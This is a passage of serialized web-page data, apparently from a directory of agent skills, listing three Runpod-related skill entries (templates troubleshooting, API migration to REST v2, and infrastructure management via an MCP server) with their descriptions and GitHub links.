Runpod template they are already running (won't boot, can't reach the UI, missing models, wrong CUDA line, broken ComfyUI workflow metadata on imported workflows): start here and route onward. Deploy with runpodctl or runpod-mcp; end-to-end walkthroughs live in the runpod router's golden paths.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-templates\u002FSKILL.md",[],[],{"skillNo":113,"name":114,"nameZh":6,"description":115,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":116,"categories":117,"keywords":118,"publishedAt":20},"01M7ACBJATHKVX1TWES2F44GY8","runpod-migrate","Migrate a codebase from the Runpod GraphQL API or REST v1 to REST v2 — inventory which parts use which API version, rewrite the call sites, flag breaking changes, and verify. Use when someone asks to move to v2, asks what v2 would change, or asks which Runpod API their code is on. For managing infrastructure rather than migrating code, use runpod-mcp or runpodctl.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-migrate\u002FSKILL.md",[],[],{"skillNo":120,"name":121,"nameZh":6,"description":122,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":123,"categories":124,"keywords":125,"publishedAt":20},"01M7ACBC7GHVH6T9YEAPCG2AP8","runpod-mcp","Manage Runpod infrastructure — pods, serverless endpoints, jobs, templates, network volumes, container-registry auth, GPU\u002FCPU catalog, and billing — via the Runpod MCP server's structured tool calls. Use when the Runpod MCP tools (create-pod, list-endpoints, …) are connected in this session, or to connect them (hosted OAuth or local npx). Prefer this over runpodctl for plain infra CRUD when MCP is available; use runpodctl for the terminal, file transfer, or SSH setup.","https:\u002F\u002Fgithub.com\u002FNeelakshSaxena\u002FVayu\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Frunpod-mcp\u002FSKILL.md",[],[]]